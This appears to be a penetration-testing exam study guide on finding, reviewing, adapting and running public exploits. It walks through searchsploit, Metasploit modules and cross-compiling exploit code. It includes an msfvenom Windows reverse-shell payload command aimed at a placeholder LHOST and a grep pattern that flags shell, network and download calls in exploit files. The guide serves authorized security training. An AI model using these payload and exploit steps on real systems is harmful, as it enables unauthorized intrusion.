Public exploits

Client commands / example output

Copy# Baseline
source URL/EDB-ID/CVE/commit:
product + component + edition/build:
target OS/architecture/runtime:
remote or local; pre-auth or authenticated:
required configuration/feature/path/credential/privilege:
expected effect:
exploit runtime and dependencies:
hard-coded target/callback/payload assumptions:
destructive or stability risk:
evidence each prerequisite exists:

Shell commands

Copy# Baseline
searchsploit --cve CVE
searchsploit -t "PRODUCT VERSION"
searchsploit PRODUCT VERSION --exclude="/dos/"

Inspect before copying

Copy# Inspect before copying
searchsploit -p EDB_ID
searchsploit -x EDB_ID
searchsploit -w "PRODUCT VERSION"

# Copy a working copy, never edit the archive in place
mkdir -p exploit-work
cd exploit-work
searchsploit -m EDB_ID
sha256sum EXPLOIT_FILE
file EXPLOIT_FILE

Shell commands

Selection cue: prefer a readable, reputable or verified exploit whose prerequisites and outcome match the observed component. Exclude denial-of-service entries when the objective is access.

Copy# Baseline
nmap --script-help SCRIPT_NAME
sed -n '1,240p' /usr/share/nmap/scripts/SCRIPT_NAME.nse
nmap -Pn -p PORT --script SCRIPT_NAME --script-args 'ARG=VALUE' TARGET

# Record and pin the exact source state
git clone REPOSITORY_URL exploit-source
cd exploit-source
git log -1 --format='%H %ad %s' --date=iso-strict
git status --short

A matching Metasploit exploit module

Use only in an authorized lab or after committing the current exam's one allowed Metasploit/Meterpreter target. Even check against a target consumes that choice under the current guide.

Copy# Variant — a matching Metasploit exploit module
msfconsole -q
search type:exploit PRODUCT CVE
info MODULE_NAME
use MODULE_NAME
show options
show targets
show payloads
set RHOSTS TARGET
set RPORT PORT
set TARGET TARGET_ID
set PAYLOAD PAYLOAD_NAME
set LHOST LHOST
set LPORT LPORT
check
run

Read info, verify the module's affected versions/references, select the explicit target profile and inspect every required option. A module rank or check result does not replace exact prerequisite validation or session verification.

Start with metadata and readable text

Copy# Start with metadata and readable text
file EXPLOIT_FILE
sha256sum EXPLOIT_FILE
sed -n '1,240p' EXPLOIT_FILE
grep -nEi 'sudo|setuid|chmod|chown|rm |unlink|remove|subprocess|system\(|popen|exec\(|socket|connect|requests|curl|wget|powershell|cmd\.exe|/bin/(ba)?sh|http://|https://' EXPLOIT_FILE

If only a binary exists, treat it as a substantially higher-risk choice

For binaries, prefer obtaining inspectable source. If only a binary exists, treat it as a substantially higher-risk choice:

Copy# If only a binary exists, treat it as a substantially higher-risk choice
file EXPLOIT_BINARY
sha256sum EXPLOIT_BINARY
strings -a EXPLOIT_BINARY | less
objdump -f EXPLOIT_BINARY

# Baseline
head -n 1 EXPLOIT_FILE
python3 --version
gcc --version
file EXPLOIT_FILE

After source review

1. where the exploit program itself runs;
2. the vulnerable target process;
3. the payload that will execute inside or on the target.

A remote Python exploit may run on Kali while delivering a Windows x64 payload. A local Linux exploit normally must run on the target-compatible architecture. Compiler choice follows the produced program; payload choice follows the target execution context.

Copy# After source review
python3 -m py_compile exploit.py
python3 exploit.py --help

# Isolate explicit dependencies
python3 -m venv .venv
source .venv/bin/activate
python -m pip install --upgrade pip
python -m pip install -r requirements.txt
python -m pip freeze > requirements-resolved.txt

Useful diagnostics

Run --help only after confirming that module import and argument handling do not trigger the exploit. Old Python 2 syntax, str/bytes mistakes, renamed modules and obsolete TLS dependencies are runtime problems, not target evidence.

Copy# Useful diagnostics
python3 -X dev exploit.py ARGUMENTS
python3 -m trace --trace exploit.py ARGUMENTS

# Linux/Kali virtual environment
python3 -m venv .venv
source .venv/bin/activate
python -m pip install --upgrade pip
python -m pip install -r requirements.txt

Use tracing only when its output is bounded and does not expose credentials. Prefer adding a few prints around the failing request/parser over changing many lines at once.

Install one explicitly selected package only when needed

Copy# Install one explicitly selected package only when needed
python -m pip install PACKAGE

# Linux/Kali virtual environment
python -m pip show PACKAGE
python -m pip freeze
deactivate

Windows PowerShell

Copy# Windows PowerShell
py -m venv .venv
.\.venv\Scripts\Activate.ps1
python -m pip install --upgrade pip
python -m pip install -r requirements.txt
deactivate

Reproducibility checks

Copy# Reproducibility checks
python --version
python -m pip --version
python -m pip freeze > requirements-resolved.txt

# uv alternative for a Python PoC with missing dependencies
# Run outside the current project's dependencies, supplying the known dependency
uv run --no-project --with requests exploit.py --help

# For a script with its own inline dependency metadata
uv run --script exploit.py --help

Read: a working help/import path establishes the local runtime only. Inspect actual arguments, authentication and target requirements before execution. Pin dependency versions when the PoC depends on an older API; an ImportError and a target-side exploit failure are different boundaries. Dependency resolution can require Internet access.

Linux/ELF program

Copy# Linux/ELF program
gcc -Wall -Wextra exploit.c -o exploit
file exploit
ldd exploit
sha256sum exploit

32-bit output requires matching headers/libraries

Copy# 32-bit output requires matching headers/libraries
gcc -m32 -Wall -Wextra exploit.c -o exploit32
file exploit32

# Windows PE from Kali
i686-w64-mingw32-gcc exploit.c -o exploit-x86.exe
x86_64-w64-mingw32-gcc exploit.c -o exploit-x64.exe
file exploit-x86.exe exploit-x64.exe

# Windows socket code commonly needs the Winsock import library
i686-w64-mingw32-gcc exploit.c -o exploit-x86.exe -lws2_32
x86_64-w64-mingw32-gcc exploit.c -o exploit-x64.exe -lws2_32

# Change one assumption at a time and retain a diff
cp EXPLOIT_FILE EXPLOIT_FILE.orig
git diff --no-index -- EXPLOIT_FILE.orig EXPLOIT_FILE

Replace an embedded payload only when the PoC documents its constraints

Assumption	Evidence-backed edit
Target address/port	Observed reachable endpoint
HTTP/HTTPS and base path	Reproduced application request
Virtual host or Host header	Resolved application identity
Username/password/cookie	Valid Block 5 authentication context
CSRF/session parsing	Actual request/response sequence
LHOST/LPORT	Address and listener reachable from the target context
Command or payload	Target OS, interpreter, architecture, size and bad-character constraints
File path/name	Writable/executable target path and application behavior
Timeout/retry	Measured service behavior, not blind delay inflation

Do not combine prerequisite repair, payload replacement and parser rewrites in one unreviewable change.

Dedicated overflow development, offset drills and shellcode development are excluded from this speedrun. Use this section only to understand and adapt an existing PoC whose vulnerable build and assumptions are supported by evidence.

Replace an embedded payload only when the PoC documents its constraints:

Copy# Replace an embedded payload only when the PoC documents its constraints
msfvenom -p windows/shell_reverse_tcp \
  LHOST=LHOST LPORT=LPORT \
  -f c -v payload \
  -b '\x00\x0a\x0d'

Before changing the script, reproduce the relevant request with Burp or curl and compare

Copy# Before changing the script, reproduce the relevant request with Burp or curl and compare
curl -i -X METHOD 'SCHEME://HOSTNAME:PORT/PATH' \
  -H 'Host: HOSTNAME' \
  -H 'Cookie: COOKIE' \
  --data 'PARAM=VALUE'

# For a scoped lab with a known self-signed certificate
curl -k -i 'https://HOSTNAME:PORT/PATH'

In Python Requests, use a session when cookies or defaults must persist

Copy# In Python Requests, use a session when cookies or defaults must persist
with requests.Session() as session:
    response = session.get(url, timeout=10)
    print(response.status_code, response.url)
    print(response.headers)
    print(response.text[:500])

Set verify=False only for a scoped test after confirming the certificate problem; it disables certificate and hostname validation. Prefer a supplied CA bundle when possible.

Parser cue: IndexError, missing-key and regular-expression failures mean the received response did not have the assumed shape. Print status, final URL, headers and a bounded body fragment before rewriting the parser. Common causes are a changed path, redirect, failed login, CSRF change, error page, proxy/WAF response or certificate handling.